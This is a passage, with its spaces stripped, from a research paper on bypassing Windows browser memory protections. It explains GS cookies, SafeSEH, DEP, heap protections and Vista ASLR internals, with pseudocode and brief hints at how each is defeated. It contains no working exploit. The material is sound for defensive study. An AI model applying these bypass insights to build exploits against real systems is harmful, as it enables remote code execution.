optedmscorsvw

BypassingBrowserMemoryProtectionsSettingbackbrowsersecurityby10yearsAlexanderSotirovMarkDowdIntroductionOverthepastseveralyears,MicrosofthasimplementedanumberofmemoryprotectionmechanismswiththegoalofpreventingthereliableexploitationofcommonsoftwarevulnerabilitiesontheWindowsplatform.
ProtectionmechanismssuchasGS,SafeSEH,DEPandASLRcomplicatetheexploitationofmanymemorycorruptionvulnerabilitiesandatfirstsightpresentaninsurmountableobstacleforexploitdevelopers.
Inthispaperwewilldiscussthelimitationsofallaforementionedprotectionmechanismsandwilldescribethecasesinwhichtheyfail.
WeaimtoshowthattheprotectionmechanismsinWindowsVistaareparticularlyineffectiveforpreventingtheexploitationofmemorycorruptionvulnerabilitiesinbrowsers.
Thiswillbedemonstratedwithavarietyofexploitationtechniquesthatcanbeusedtobypasstheprotectionsandachievereliableremotecodeexecutioninmanydifferentcircumstances.
OrganizationofthispaperThispaperisdividedintothreeparts.
Part1describesthedesignandimplementationoftheprotectionmechanismsthatwillbethefocusoftheremainderofthepaper.
ThissectioncontainsallthenecessarybackgroundinformationabouttheavailableprotectionmechanismsonWindowsXPandVista.
Part2discussesthelimitationsoftheseprotectionsandpresentsthetheorybehindthetechniquesthatwewillemploytobypassthem.
Finally,inPart3ofthepaperweshowhowthetheoreticaltechniquesoutlinedinPart2canbeutilizedtoproducerobustandreliableexploitsthatworkeffectivelyinrealisticenvironments.
Sincereal-worldexploitationrequiresbypassingmultiplememoryprotections,wewillpresentseveralwaysinwhichthesetechniquescanbecombinedtoachieveremotecodeexecution.
Part1.
MemoryprotectionmechanismsinWindowsAverythorough,andaccurate,write-upofthecurrentstateofourmitigationsastheyapplytoprogrammable,extensibleapps.
--MicrosoftSWIScienceteamThissectionprovidesanoverviewofthememoryprotectionmechanismsavailableontheWindowsplatform.
MostofthediscussioninthispaperwillfocusonWindowsVistaSP1,butitisimportanttobeawareofthedifferencesintheprotectionmechanismsavailableindifferentversionofWindows.
Thefollowingtableprovidesasummaryofthesedifferences:XPSP2,SP32003SP1,SP2VistaSP0VistaSP12008SP0GSstackcookiesyesyesyesyesyesvariablereorderingyesyesyesyesyes#pragmastrict_gs_checknononoyes1yes1SafeSEHSEHhandlervalidationyesyesyesyesyesSEHchainvalidationnononoyes2yesHeapprotectionsafeunlinkingyesyesyesyesyessafelookasidelistsnonoyesyesyesheapmetadatacookiesyesyesyesyesyesheapmetadataencryptionnonoyesyesyesDEPNXsupportyesyesyesyesyespermanentDEPnononoyesyesOptOutmodebydefaultnoyesnonoyesASLRPEB,TEByesyesyesyesyesheapnonoyesyesyesstacknonoyesyesyesimagesnonoyesyesyes1onlysomecomponents,mostnotablytheAVIandPNGparsers2undocumented,disabledbydefaultGSStackcookiesThe/GSoptionoftheVisualC++compilerenablesrun-timedetectionofstackbufferoverflows.
Iftheoptionisenabled,thecompilerstoresarandomvalueonthestackbetweenthelocalvariablesandreturnaddressofafunction.
Thisvalueisknownasastackcookie.
Ifanattackerexploitsabufferoverflowtooverwritethereturnaddressofafunction,theywillalsooverwritethecookie,changingitsvalue.
Thisisdetectedintheepilogueofthefunctionandtheprogramabortsbeforethemodifiedreturnaddressisused.
Atypicalprologueandepilogueofafunctionprotectedby/GSisshownbelow:;prologuepushebpmovebp,espsubesp,214hmoveax,___security_cookie;randomvalue,initializedatmodulestartupxoreax,ebp;XORitwiththecurrentbasepointermov[ebp+var_4],eax;storethecookie.
.
.
;epiloguemovecx,[ebp+var_4];getthecookiefromthestackxorecx,ebp;XORthecookiewiththecurrentbasepointercall__security_check_cookie;checkthecookieleaveretn0Ch;__fastcall__security_check_cookie(x)cmpecx,___security_cookiejnz___report_gsfailure;terminatetheprocessrepretn#pragmastrict_gs_checkTheextraprologueandepiloguecodecanaddasignificantoverheadtosmallfunctions.
Thegs-perftestprograminAppendixAshowsaworstcaseslowdownof42%.
Tominimizetheperformanceimpactofthe/GSoption,thecompileraddsthestackcookieonlytofunctionsthatcontainstringbuffersorallocatememoryonthestackwith_alloca.
SincetheClanguagehasnonativestringtype,thecompilerdefinesastringbufferasanarrayof1or2byteelementswithatotalsizeofatleast5bytes.
TheGSprotectionisappliedtoallfunctionswitharraysthatmatchthisdescription.
Forexample,thefollowingvariableswillcausethefunctionscontainingthemtobeprotectedbyGS:chara[5];//protected,5bytearrayofelementsofsize1shortb[3];//protected,6bytearrayofelementsofsize2struct{chara;}c[5];//protected,5bytearrayofelementsofsize1struct{chara[5];}d;//protectedbecausethestructurecontainsastringbufferFunctionsthatdon'tuse_allocaanddon'tcontainvariablesconsideredtobestringbuffersarenotprotectedbyGS.
Forexample,thevariablesbelowwillnottriggertheGSheuristic:chare[4];//notprotected,totalsizeislessthan5bytesintf[10];//notprotected,arrayelementsizegreaterthan2char*g[10];//notprotected,arrayelementsizegreaterthan2struct{chara;shortb;}h[5];//notprotected,arrayelementsizegreaterthan2struct{chara1;chara2;chara3;chara4;chara5;}i;//notprotected,thestructuredoesnotcontainastringbufferVisualStudio2005SP1introducedanewcompilerdirectivethatenablesmoreaggressiveGSheuristics.
Ifthestrict_gs_checkpragmaisturnedon,thecompileraddsaGScookietoallfunctionsthatusetheaddressofalocalvariable.
Thisincludesarraydereferences,pointerarithmeticandpassingtheaddressofalocalvariablestootherfunctions.
Thisresultsinamuchmorecompleteprotectionattheexpenseofruntimeperformance.
VariablereorderingThemainlimitationoftheGSprotectionisthatitdetectsbufferoverflowsonlywhenthefunctionwiththeoverwrittenstackcookiereturns.
Ifanyotheroverwrittendataonthestackisusedbythefunction,theattackermightbeabletotakecontroloftheexecutionbeforetheGScookieischecked.
Topreventtheattackerfromoverwritinglocalvariablesorargumentsusedbythefunction,thecompilermodifiesthelayoutofthestackframe.
Itreordersthelocalvariables,placingstringbuffersathigheraddressesthanallothervariables.
Thisensuresthatastringbufferoverflowcannotoverwriteanyotherlocalvariables.
Functionargumentsthatcontainpointersorstringbuffers(calledvulnerableargumentsinthecompilerdocumentation)areprotectedbyallocatingextraspaceonthestackandcopyingtheirvaluesbelowthelocalvariables.
Theoriginalargumentvalueslocatedafterthereturnaddressarenotusedintherestofthecode.
ThefollowingdiagramshowsthestackframelayoutofavulnerablefunctionwithandwithoutGSprotection:vuln.
cstandardstackframestackframewith/GSvoidvuln(char*arg){charbuf[100];inti;strcpy(buf,arg);.
.
.
}bufireturnaddressargcopyofargibufstackcookiereturnaddressargWithoutGSabufferoverflowofthebufvariablewillallowtheattackertooverwritei,thereturnaddressandtheargargument.
EnablingGSaddsastackcookie,movesioutofthewayandcreatesacopyofarg.
Theoriginalargumentcanstillbeoverwritten,butitisnolongerusedbythefunction.
Theattackerhasnowayoftakingcontroloftheexecutionbeforethecookiecheckdetectstheoverflowandterminatestheprogram.
SafeSEHSEHhandlervalidationTheSafeSEHprotectionmechanismisdesignedtopreventattackersfromtakingcontroloftheprogramexecutionbyoverwritinganexceptionhandlerrecordonthestack.
Ifabinaryislinkedwiththe/SafeSEHlinkeroption,itsheaderwillcontainatableofallvalidexceptionhandlerswithinthatmodule.
Whenanexceptionoccurs,theexceptiondispatchercodeinNTDLL.
DLLverifiesthattheexceptionhandlerrecordonthestackpointstooneofthevalidhandlersinthetable.
Iftheattackeroverwritestheexceptionhandlerrecordandpointsitsomewhereelse,theexceptiondispatcherwilldetectthisandterminatetheprogram.
ThevalidationoftheexceptionhandlerrecordbeginsintheRtlDispatchExceptionfunction.
Itsfirsttaskistomakesurethattheexceptionrecordislocatedonthestackofthecurrentthreadandis4-bytealigned.
ThispreventstheattackerfromoverwritingtheNextfieldofarecordandpointingittoafakerecordontheheap.
Thefunctionalsoverifiesthattheexceptionhandleraddressdoesnotpointtothestack.
Thischeckpreventstheattackerfromjumpingdirectlytoshellcodeonthestack.
voidRtlDispatchException(.
.
.
){if(exceptionrecordisnotonthestack)gotocorruption;if(handlerisonthestack)gotocorruption;if(RtlIsValidHandler(handler,process_flags)==FALSE)gotocorruption;//executehandlerRtlpExecuteHandlerForException(handler,.
.
.
).
.
.
}TheexceptionhandleraddressisvalidatedfurtherbytheRtlIsValidHandlerfunction.
ThepseudocodeofthisfunctioninVistaSP1isshownbelow:BOOLRtlIsValidHandler(handler){if(handlerisinanimage){if(imagehastheIMAGE_DLLCHARACTERISTICS_NO_SEHflagset)returnFALSE;if(imagehasaSafeSEHtable)if(handlerfoundinthetable)returnTRUE;elsereturnFALSE;if(imageisa.
NETassemblywiththeILonlyflagset)returnFALSE;//fallthrough}if(handlerisonanon-executablepage){if(ExecuteDispatchEnablebitsetintheprocessflags)returnTRUE;elseraiseACCESS_VIOLATION;//enforceDEPevenifwehavenohardwareNX}if(handlerisnotinanimage){if(ImageDispatchEnablebitsetintheprocessflags)returnTRUE;elsereturnFALSE;//don'tallowhandlersoutsideofimages}//everythingelseisallowedreturnTRUE;}TheExecuteDispatchEnableandImageDispatchEnablebitsarepartoftheprocessexecutionflagsinthekernelKPROCESSstructure.
Thesetwobitscontrolwhethertheexceptiondispatcherwillcallhandlerslocatedinnon-executablememoryoroutsideofanimage.
Thetwobitscanbechangedatruntime,butbydefaulttheyarebothsetforprocesseswithDEPdisabledandclearedforprocesseswithDEPenabled.
InprocesseswithDEPenabledtherearetwotypesofexceptionhandlersthatareconsideredvalidbytheexceptiondispatcher:1.
handlerfoundintheSafeSEHtableofanimagewithouttheNO_SEHflag2.
handleronanexecutablepageinanimagewithouttheNO_SEHflag,withoutaSafeSEHtableandwithoutthe.
NETILonlyflagInprocesseswithDEPdisabledtherearethreevalidcases:1.
handlerfoundintheSafeSEHtableofanimagewithouttheNO_SEHflag2.
handlerinanimagewithouttheNO_SEHflag,withoutaSafeSEHtableandwithoutthe.
NETILonlyflag3.
handleronanon-imagepage,butnotonthestackofthecurrentthreadSEHchainvalidationWindowsServer2008introducedanewSEHprotectionmechanismthatdetectsexceptionhandlerrecordoverwritesbyvalidatingtheSEHlinkedlist.
TheideaforthisSEHprotectionwasfirstdescribedintheUninformedarticlePreventingtheExploitationofSEHOverwritesbyMattMillerandadoptedlaterbyMicrosoft.
ThisprotectionmechanismisenabledbydefaultonWindowsServer2008.
ItisalsoavailableonVistaSP1,butisnotturnedonbydefault.
ItcanbeenabledbysettingtheundocumentedregistrykeyHKLM\SYSTEM\CurrentControlSet\Control\SessionManager\kernel\DisableExceptionChainValidationto0.
Whenthisprotectionmechanismisenabled,theFinalExceptionHandlerfunctioninNTDLL.
DLLisregisteredasthefirstexceptionhandlerinalltheads.
Asadditionalexceptionhandlersareregistered,theyformalinkedlistwiththelastrecordalwayspointingtoFinalExceptionHandler.
Theexceptiondispatcherwalksthislinkedlistandverifiesthatthelastrecordstillpointstothatfunction.
IfanattackeroverwritestheNextfieldofanexceptionhandlerrecord,thevalidationloopwillnotreachthelastrecordandtheSEHchaincorruptionwillbedetected.
OnepotentialwaytobypassthisprotectionistopointtheoverwrittenNextpointertoafakeSEHrecordthatpointstotheFinalExceptionHandlerfunction.
However,theASLRimplementationinVistarandomizestheaddressofthefunctionandmakesitimpossibletoforanattackertoterminatetheSEHchainunlesstheyhaveawaytobypassASLR.
TheSEHchainvalidationisimplementedintheRtlDispatchException.
ThefollowingpseudocodeisfromVistaSP1://SkipthechainvalidationiftheDisableExceptionChainValidationbitissetif(process_flags&0x40==0){//SkipthevalidationiftherearenoSEHrecordsonthelinkedlistif(record!
=0xFFFFFFFF){//WalktheSEHlinkedlistdo{//Therecordmustbeonthestackif(recordstack_top)gotocorruption;//Theendoftherecordmustbeonthestackif((char*)record+sizeof(EXCEPTION_REGISTRATION)>stack_top)gotocorruption;//Therecordmustbe4bytealignedif((record&3)!
=0)gotocorruption;handler=record->handler;//Thehandlermustnotbeonthestackif(handler>=stack_bottom&&handlernext;}while(record!
=0xFFFFFFFF);//Endofchainreached//Isbit9setintheTEB->SameTebFlagsfieldThisbitissetin//ntdll!
RtlInitializeExceptionChain,whichregisters//FinalExceptionHandlerasanSEHhandlerwhenanewthreadstarts.
if((TEB->word_at_offset_0xFCA&0x200)!
=0){//Thefinalhandlermustbentdll!
FinalExceptionHandlerif(handler!
=&FinalExceptionHandler)gotocorruption;}}}SEHchainvalidationisdisabledforexecutableswithMajorLinkerVersionandMinorLinkerVersioninthePEheadersetto0x53and0x52respectively,indicatinganArmadilloprotectedbinary.
ThischeckisperformedintheLdrpIsImageSEHValidationCompatiblefunctionduringprocessinitialization.
WhenanewDLLisloaded,asimilarcheckinLdrpCheckNXCompatibilitydisablesSEHchainvalidationiftheDLLbeingloadedhasthatsameincompatiblelinkerversion.
HeapprotectionThestandardexploitationmethodforheapoverflowsinolderversionsofWindowsistooverwritetheheaderofaheapchunkandcreateafakefreeblockwithflinkandblinkpointerscontrolledbytheattacker.
Whenthisfreeblockisallocatedorcoalescedwithotherfreeblocks,thememoryallocatorwillwritethevalueoftheflinkpointerattheaddressspecifiedintheblinkpointer.
Thisallowstheattackertoperformanarbitrary4-bytewriteanywhereinmemory,whichcaneasilyleadtoshellcodeexecution.
TheheapprotectionmechanismsinWindowsXPSP2andWindowsVistaaredesignedtostopthisexploitationtechnique.
SafeunlinkingStartinginWindowsXPSP2theheapallocatorimplementssafeunlinkingwhenremovingchunksfromthefreelist.
Beforeusingtheflinkandblinkpointers,itverifiesthatbothflink->blinkandblink->flinkpointtothecurrentheapblock.
Thispreventstheattackerfrompointingflinkorblinktoarbitrarymemorylocationsandusingtheunlinkoperationtodoanarbitrary4-bytewrite.
HeapmetadatacookiesandencryptionInadditiontothesafeunlinking,theallocatorinXPSP2storesasinglebytecookieintheheaderofeachheapchunk.
Thiscookieischeckedwhenthechunkisremovedfromthefreelist.
Iftheheapchunkheaderhasbeenoverwritten,thecookiewillnotmatchandtheheapallocatorwilldetectthisasheapcorruption.
InWindowsVistathecookieissupplementedbyheapmetadataencryption.
AllimportantfieldsintheheapheaderareXORedwitharandom32-bitvalueandaredecryptedbeforebeingused.
Thecookiesandthemetadataencryptionareveryeffectiveatpreventingtheattackerfromabusingoverwrittenheapchunkheadersorcreatingfakechunksontheheap.
DEPDataExecutionPrevention(DEP)isaprotectionmechanismthatpreventstheexecutionofcodeinmemorypagesmarkednon-executable.
Bydefault,theonlyexecutablepagesinaWindowsprocessaretheonesthatcontainthetextsectionsoftheexecutableandtheloadedDLLfiles.
EnablingDEPpreventstheattackerfromexecutingshellcodeonthestack,heaporindatasections.
IfDEPisenabledandtheprogramattemptstoexecutecodeonanon-executablepage,anaccessviolationexceptionwillberaised.
Theprogramgetsachancetohandlethisexception,butmostprogramsthatexpectallmemorytobeexecutablewillsimplycrash.
Ifaprogramneedstoexecutecodeontheheaporthestack,itneedstousetheVirtualAllocorVirtualProtectfunctionstoexplicitlyallocateexecutablememoryormarkexistingpagesexecutable.
HardwaresupportforNXEventhoughtheWindowsmemorymanagercodealwayskeepstrackofwhichpagesaresupposedtobenon-executable,thetraditionalx86architecturesupportsnon-executablememoryonlywhensegmentationisusedtoenforcememoryprotection.
Likeallothermodernoperatingsystems,Windowsusesaflatmemorymodelwithpage-levelprotectioninsteadofsegmentation.
Thepagetableentriesonx86haveonlyasinglebitthatdescribesthepageprotection.
Ifthebitisset,thepageiswritable,otherwiseitisread-only.
Sincethereisnobittocontrolexecution,allpagesonthesystemareconsideredexecutablebytheCPU.
Thisoversightinthex86architecturewascorrectedinCPUsreleasedafter2004byaddingasecondprotectionbitinthepagetableentries.
ThisbitisknownastheNXbit(NoeXecute)andusingitrequiressupportbytheoperatingsystem.
WindowshasbeenabletotakeadvantageoftheNXbitsincethereleaseofWindowsXPSP2.
IftheCPUdoesnotsupporthardwareNX,WindowsusesaverylimitedformofDEPcalledSoftwareDEP.
ItisimplementedasanextracheckintheexceptiondispatcherwhichensuresthattheSEHhandlerislocatedonanexecutablepage.
ThisistheextentofSoftwareDEP.
SinceallmodernCPUshavesupportforhardwareNXandtheSoftwareDEPfeatureistriviallybypassableanyways,wewillfocusonlyonthehardware-enforcedDEPprotection.
DEPpoliciesDuetothelargenumberofapplicationcompatibilityproblemswithDEP,thisprotectionisnotenabledbydefaultforallprocessesonthesystem.
TheadministratorcanchoosebetweenfourpossibleDEPpolicies,whicharesetintheboot.
inifileonWindowsXPorinthebootconfigurationonVista:OptInThisisthedefaultsettingonWindowsXPandVista.
InthismodeDEPprotectionisenabledonlyforsystemprocessesandapplicationsthatexplicitlyopt-in.
AllotherprocessesgetnoDEPprotection.
DEPcanbeturnedoffatruntimebytheapplication,orbytheloaderifanincompatibleDLLisloaded.
Toopt-inanapplicationonWindowsXP,theadministratorneedstocreateanentryinthesystemapplicationcompatibilitydatabaseandapplytheAddProcessParametersFlagscompatibilityfixasdescribedinthedocumentationbyMicrosoft.
OnVistaallapplicationsthatarecompiledwiththe/NXcompatlinkeroptionareautomaticallyopted-in.
OptOutAllprocessesareprotectedbyDEP,exceptfortheonesthattheadministratoraddstoanexceptionlistorarelistedintheapplicationcompatibilitydatabaseasnotcompatiblewithDEP.
ThisisthedefaultsettingonWindowsServer2003andWindowsServer2008.
DEPcanbeturnedoffatruntimebytheapplication,orbytheloaderifanincompatibleDLLisloaded.
AlwaysOnAllprocessesareprotectedbyDEP,noexceptions.
TurningoffDEPatruntimeisnotpossible.
AlwaysOffNoprocessesareprotectedbyDEP.
TurningonDEPatruntimeisnotpossible.
On64-bitversionsofWindows,DEPisalwaysturnedonfor64-bitprocessesandcannotbedisabled.
However,InternetExploreronVistax64isstilla32-bitprocessandissubjecttothepoliciesdescribedabove.
EnablingordisablingDEPatruntimeTheDEPsettingsforaprocessarestoredintheFlagsbitfieldoftheKPROCESSstructureinthekernel.
ThisvaluecanbequeriedandsetwithNtQueryInformationProcessandNtSetInformationProcess,informationclassProcessExecuteFlags(0x22),orwithakerneldebugger.
TheoutputbelowshowstheprocessflagsofanInternetExplorerprocessonVistaSP1:lkd>!
process00iexplore.
exePROCESS83d29470SessionId:1Cid:0fecPeb:7ffd9000ParentCid:06dcDirBase:1f105440ObjectTable:91b69b28HandleCount:376.
Image:iexplore.
exelkd>dtnt!
_KPROCESS83d29470-r+0x06bFlags:_KEXECUTE_OPTIONS+0x000ExecuteDisable:0y0+0x000ExecuteEnable:0y1+0x000DisableThunkEmulation:0y0+0x000Permanent:0y0+0x000ExecuteDispatchEnable:0y1+0x000ImageDispatchEnable:0y1+0x000DisableExceptionChainValidation:0y1+0x000Spare:0y0Oftheseflags,onlythefirstfourarerelevanttoDEP.
Thefirstflag,ExecuteDisableissetifDEPisenabled.
Thismightseemcounterintuitive,buttheflag'smeaningreallyis"disableexecutionfromnon-executablememory".
Conversely,theExecuteEnableflagissetwhenDEPisdisabled.
ItshouldbenotedthatinOptOutmodebothExecuteEnableandExecuteDisablearesetto0,butDEPisstillenabled.
DisableThunkEmulationcontrolstheATLthunkemulationmodethatwillbediscussedinthenextsection.
Finally,thePermanentflagindicatesthattheexecuteoptionsarefinalandcannotbefurtherchanged.
ThisisusedtopreventexploitsfromcallingNtSetInformationProcesstodisableDEPbeforejumpingtoshellcodeonthestack.
SuchanattackwaspresentedbyskapeandSkywinginUninformedvol.
2.
OnVista,thepermanentflagisautomaticallysetforallexecutableslinkedwiththe/NXcompatlinkeroptionimmediatelyaftertheloaderenablesDEP.
WindowsXPSP3andVistaSP1introducedanewAPIforqueryingandsettingtheDEPpolicyofaprocess.
TheSetProcessDEPPolicy,GetProcessDEPPolicyandGetSystemDEPPolicyfunctionsshouldbeusedinsteadoftheundocumentedNtQueryInformationProcessandNtSetInformationProcesswheretheyareavailable.
WhenanewDLLisloadedintoaprocessthatdoesnothavethePermanentflagset,theloaderperformsaseriesofcheckstodetermineiftheDLLiscompatiblewithDEP.
IftheDLLisdeterminedtobeincompatible,DEPprotectionisdisabledforthisprocess.
ThechecksareperformedbytheLdrpCheckNXCompatibilityfunctionwhichlooksforthreetypesofDLLsthatareknowntobeincompatiblewithDEP:1.
DLLsthathavesecserv.
dllasthenameintheexportdirectorytable,andhave2sectionsnamed.
txtand.
txt2.
TheseareDLLsareprotectedbytheSafeDisccopy-protectionsystemwhichisnotcompatiblewithDEP.
2.
DLLsthatarelistedintheHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\DllNXOptionsregistrykey.
ThiskeycontainsalistofDLLsthatareknowntobeincompatible.
3.
DLLswithasectionnamed.
aspack,.
pcleor.
sforce.
Thesesectionnamesindicatepackersorsoftwareprotectorsthatareknowntobeincompatible.
IftheDLLbeingloadedwaslinkedwiththe/NXcompatlinkeroptionandhastheIMAGE_DLL_CHARACTERISTICS_NX_COMPATflagset,thechecksdescribedaboveareskippedandDEPisnotdisabled.
ThisallowsvendorsofDLLsincompatiblewithDEPtomarknewversionsoftheirsoftwareascompatibleandgetthebenefitsofDEPprotection.
ThunkEmulationOneofthebiggestproblemswithenablingDEPisthatsomeapplicationswillsimplynotwork,sincetheyrelyonsomecodetobeexecutedfromwriteablememory.
ItturnsoutthatmanyapplicationsthatbehavethiswaydosobecauseolderversionsoftheATLlibraryshippedbyMicrosoftusesmallcodethunksontheheap.
SincetheATLlibrariesareusedextensivelybythirdpartyvendorsMicrosoftdecidedtoprovidea"cheat"toenableATLcodetofunctioninDEPenvironments.
Whenaprogramattemptstoexecutecodeonanon-executablepage,thekernelcallsKiEmulateAtlThunk()tocheckifthisisaresultofawellknowninstructionsequenceusedasanATLthunk.
Thefunctionproceedsasfollows:1.
Ifbytesthattheprogramistryingtoexecutedon'tmatchoneofthefiveknownthunks,allowthesystemtoraisetheaccessviolationexception.
2.
IfanATLthunkisidentified,verifywhetheritappearstobevalidornot.
Themostimportantaspectofthisischeckingthattheaddressbeingexecutedisnotpartofanimage,andthatthetargetIPofthebranchinstructioninthethunkisinsideavalidimage.
Ifthethunkisinvalid,continuewithDEPexceptionasnormal.
3.
Ifthethunkisvalid,"manually"emulatethethunkandcontinuetheprocessasifnothinghappened.
Sincethetargetofthebranchisavalidimage,theexecutionwillcontinuewithoutanydangerofexecutingcodeonanon-executalepage.
TheknownATLthunksthatgetemulatedarelistedbelow:C7442404XXXXXXXXmov[esp+4],imm32E9YYYYYYYYjmpimm32B9XXXXXXXXmovecx,imm32E9YYYYYYYYjmpimm32BAXXXXXXXXmovedx,imm32B9YYYYYYYYmovecx,imm32FFE1jmpecxB9XXXXXXXXmovecx,imm32B8YYYYYYYYmoveax,imm32FFE0jmpeax59popecx58popeax51pushecxFF6004jmp[eax+4]ASLRAddressSpaceLayoutRandomization(ASLR)isasecurityfeaturethatrandomizestheaddresseswhereobjectsaremappedinthevirtualaddressspaceofagivenprocess.
Whenimplementedcorrectly,ASLRprovidesasignificanthurdletoawould-beattacker,sincetheywillnotknowthepreciselocationofaninterestingaddresstooverwrite.
Furthermore,evenifanattackerisabletooverwriteausefulpointerinmemory(suchasasavedinstructionpointeronthestack),pointingittosomethingofvaluewillalsobedifficult.
AlthoughtheconceptofASLRisnotnew,itisarelativelyrecentadditiontotheWindowsplatform.
VistaandWindowsServer2008arethefirstoperatingsystemsintheWindowsfamilytoprovideASLRnatively.
Previoustothesereleases,therewereanumberofthirdpartysolutionsavailablethatprovidedASLRfunctionalitytovaryingdegrees.
ThispaperwillfocusonVista'snativeimplementation.
Vista'sASLRrandomizesthelocationofimages(PEfilesmappedintomemory),heaps,stacks,thePEBandTEBs.
Thedetailsoftherandomizationofeachofthesecomponentsarepresentedinthefollowingsections.
ImagerandomizationImagepositioningrandomizationisdesignedtoplaceimagesatarandomlocationinthevirtualaddressspaceofeachprocess.
Vista'sASLRhasthecapabilitytorandomlypositionbothexecutablesandDLLs.
Notethatinorderforalibraryoranexecutabletoberandomlyrebased,thereareseveralconditionsthatneedtobemet;thesewillbediscussedshortly.
Beforetalkingaboutthespecifics,itisworthmentioningthatthereisasystem-wideconfigurationparameterthatdeterminesthebehaviourofVista'simagerandomization.
ThisparametercanbesetintheregistrykeyHKLM\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\MoveImages,whichbydefaultdoesnotexist.
Thiskeyhasthreepossiblesettings:Ifthevalueissetto0,neverrandomizeimagebasesinmemory,alwayshonourthebaseaddressspecifiedinthePEheader.
Ifsetto-1,randomizeallrelocatableimagesregardlessofwhethertheyhavetheIMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASEflagornot.
Ifsettoanyothervalue,randomizeonlyimagesthathaverelocationinformationandareexplicitlymarkedascompatiblewithASLRbysettingtheIMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE(0x40)flaginDllCharacteristicsfieldthePEheader.
Thisisthedefaultbehaviour.
ExecutablerandomizationWhenanewaddressisbeingselectedasanimagebaseforanexecutable,arandomdeltavalueisaddedtoorsubtractedfromtheImageBasevalueintheexecutable'sPEheader.
Thisdeltavalueiscalculatedbytakingarandom8-bitvaluefromtheRDTSCcounterandmultiplyingitby64KB,whichistherequiredimagealignmentonWindows.
Theresultisthattheimageisloadedatarandom64KBalignedaddresswithin16MBofthepreferredimagebase.
Itisimportanttonotethatthedeltaisnever0,whichmeansthattheexecutableisneverloadedattheimagebasespecifiedinthePEheader.
OnVistaSP0,thereare255possibledeltasrangingfrom0x010000to0xFF0000.
Duetoabuginwaythedeltaiscalculated,thevalue0x010000hasaprobabilityof2/256whileallothervalueshaveaprobabilityof1/256.
ThisisfixedonVistaSP1,wherethevaluesrangefrom0x010000to0xFE0000andeachonehasanequalprobability(1/254)ofbeingselected.
ThefollowingpseudocodeshowsthedetailsoftheimagebasecalculationintheMiSelectImageBasefunction:if((nt_header->Characteristics&IMAGE_FILE_DLL)==0){RelocateExe://GettheRDTSCcounterandcalculatetherandomoffset#ifdefVISTA_SP0//DeltacalculationonVistaSP0unsignedintDelta=(RDTSC&0xFF)*0x10000;//Wedon'tallowoffset0,replaceitwithoffset0x10000if(Delta==0)Delta=0x10000;//Deltarangesfrom0x010000to0xFF0000#else//DeltacalculationonVistaSP1unsignedintDelta=(((RDTSC>>4)%0xFE)+1)*0x10000;//Deltarangesfrom0x010000to0xFE0000#endif//ValidatetheoriginalimagebaseandimagesizedwImageSize=imagesizeroundedupto64KBdwImageEnd=dwImageBase+dwImageSize;if(dwImageBase>=MmHighestUserAddress||dwImageSize>MmHighestUserAddress||dwImageEndMmHighestUserAddress)return0;//Whenthelastreferencetoanimagesectiongoesaway,itdoesn'tget//discardedimmediatelyandmaybereactivatediftheimageisloaded//againsoonafter.
Ifthathappens,thenweapplyafurtherdeltatothe//existingdelta(storedinarg0->dwOffset14)andthischeckensuresthat//wedon'tendupdouble-relocatingbacktotheon-diskbaseaddress.
if(arg0->dwOffset14+Delta==0)returndwImageBase;//Togetthenewbase,wesubtractDeltafromtheoldimagebase.
Ifthe//oldimagebaseistoolowandweaddDeltainsteadif(dwImageBase>Delta){dwNewBase=dwImageBase-Delta;//subtractDelta}else{dwNewBase=dwImageBase+Delta;//addDelta//Validatethenewimagebaseif(dwNewBaseMmHighestUserAddress)||dwNewBase+ImageSizeCharacteristics&IMAGE_FILE_DLL)==0){RelocateExe:.
.
.
}else{//RelocateDLLsusImageSizeIn64kbBlocks=ImageSize/64KB//FindtherequirednumberofbitsinthebitmapandsetthemdwStartIndex=RtlFindClearBitsAndSet(MiImageBitMap,//bitmapusImageSizeIn64kbBlocks,//numberofbitsMiImageBias);//wheretostartlooking//Ifwecannotfindenoughemptybits,relocatetheDLLwithin16MBofthe//imagebasespecifiedinthePEheaderif(dwStartIndex==0xFFFFFFFF)gotoRelocateExe;//CalculatethenewimagebasedwEndIndex=dwStartIndex+usImageSizeIn64kbBlocks;dwNewBase=MiImageBitMapHighVa-dwEndIndex*64KB;if(dwNewBase==dwImageBase){//IfthenewimagebaseisthesameastheimagebaseinthePE//header,weneedtorepeatthesearchinthebitmap.
Sincethebits//forthecurrentDLLpositionarealreadyset,we'reguaranteedto//getanewpositiondwNewStartIndex=RtlFindClearBitsAndSet(MiImageBitMap,//bitmapusImageSizeIn64kbBlocks,//numberofbitsdwEndIndex);//hint//Ifthesearchwassuccessful,clearthebitsfromthefirstsearchif(dwNewStartIndex!
=0xFFFFFFFF)RtlClearBits(MiImageBitMap,dwStartIndex,usImageSizeIn64kbBlocks);//CalculatethenewimagebasedwEndIndex=dwNewStartIndex+usImageSizeIn64kbBlocks;dwNewBase=MiImageBitMapHighVa-dwEndIndex*64KB;}.
.
.
returndwNewBase;}TheMiImageBiasvalueusedbyMiSelectImageBaseisan8-bitrandomvalueinitializedwiththeRDTSCinstructiononceperboot,intheMiInitializeRelocationsfunction.
ItisusedasarandomoffsetfromthebeginningoftheMiImageBitMapbitmapandspecifiestheaddresswherethesearchforthenewDLLimagebasestartsfrom.
Ineffect,thismeansthatthefirstDLLloadedintotheaddressspacewillendat0x78000000-MiImageBias*64KB(MiImageBitMapstartsatMiImageBitMapHighVaandextendstowardsloweraddresses,soitisbackwards),andadditionalDLLswillbeplacedoneaftertheotherfollowingthefirstone.
TheMiSelectImageBasefunctionensuresthataDLLisneverloadedattheimagebasespecifiedinthePEheader.
SinceMiImageBiashasonly256possiblevalues,thereareonly256possiblelocationsforthefirstDLLloadedonthesystem(NTDLL.
DLL).
However,theexactlocationofthesubsequentDLLsdependsbothontheaddressofNTDLL.
DLLandtheorderinwhichtheDLLsareloaded.
ToincreasetherandomnessoftheknownsystemDLLs,theyareloadedinrandomorderbytheSmpRandomizeDllListfunctionintheSMSSsystemprocessearlyinthebootprocess.
HeaprandomizationPartofMicrosoft'sASLRstrategyinvolvesrandomizingwhereaheapcreatedwiththeRtlHeapCreatefunctionbeginsinmemory.
Inthepast,anewlycreatedheap(includingthedefaultprocessheap)wascreatedusingtheNtAllocateVirtualMemoryfunction,whichdoesalinearaddressspacesearchstartingatapointchosenbythecaller.
